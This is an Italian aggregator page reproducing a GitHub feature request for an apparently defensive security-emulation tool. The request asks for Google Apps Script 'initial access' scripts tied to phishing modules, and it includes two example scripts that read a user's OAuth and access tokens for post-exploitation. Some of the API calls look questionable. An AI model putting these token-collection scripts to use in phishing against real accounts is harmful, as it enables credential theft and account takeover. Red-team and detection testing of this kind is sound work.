Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

[Feature Request] Add Google AppScripts for use with Phishing Payload and Email Modules

Aperta
#10 1 commento 0 reazioni 1 assegnatario Vedi su GitHub

@terrancedejesus ci sta già lavorando.

Dal 10/5/2023.

Valutazione

Questa issue non è ancora stata valutata.

Descrizione

enhancement

Google App Scripts

Initial Access SWAT collection script

Collect necessary credential data to enable the use of SWAT to conduct post exploitation actions.

Requirements if user is a Google Workspace Admin:
- Google Admin SDK API enabled

Collect:
- Account name
- Email address
- Account permissions 
- App access tokens
- Oauth Tokens

ChatGPT Example Script:

Google Workspace Admin

   function getAccountInfo() {
   var email = Session.getActiveUser().getEmail();
   var account = AdminDirectory.Users.get(email);
   var accountName = account.name.fullName;
   var accountPermissions = AdminDirectory.Users.getImapSettings(email).accessibility;
   var appAccessTokens = AdminDirectory.Users.getOAuth2Tokens(email).items;
   var oAuthTokens = AdminDirectory.Users.getOAuth2Tokens(email).items;

   Logger.log("Account Name: " + accountName);
   Logger.log("Email Address: " + email);
   Logger.log("Account Permissions: " + accountPermissions);
   Logger.log("App Access Tokens: " + appAccessTokens);
   Logger.log("OAuth Tokens: " + oAuthTokens);
}

Google Workspace Non-Admin

function getUserInfo() {
  var user = Session.getActiveUser();
  var email = user.getEmail();
  var name = user.getUsername();
  var accessToken = ScriptApp.getOAuthToken();
  var appAccessToken = ScriptApp.getAuthorizationInfo('https://www.googleapis.com/auth/script.external_request').getAccessToken();
  var userInfo = {
    'name': name,
    'email': email,
    'accessToken': accessToken,
    'appAccessToken': appAccessToken
  };
  Logger.log(userInfo);
}
Lingua principale
Python
Stelle
169
Fork
8
Metriche di merge delle PR
Nessuna PR unita negli ultimi 30g

Preparare l'ambiente

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di elastic/SWAT

Tutte le issue di elastic/SWAT

Issue simili

Altre issue su Python

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.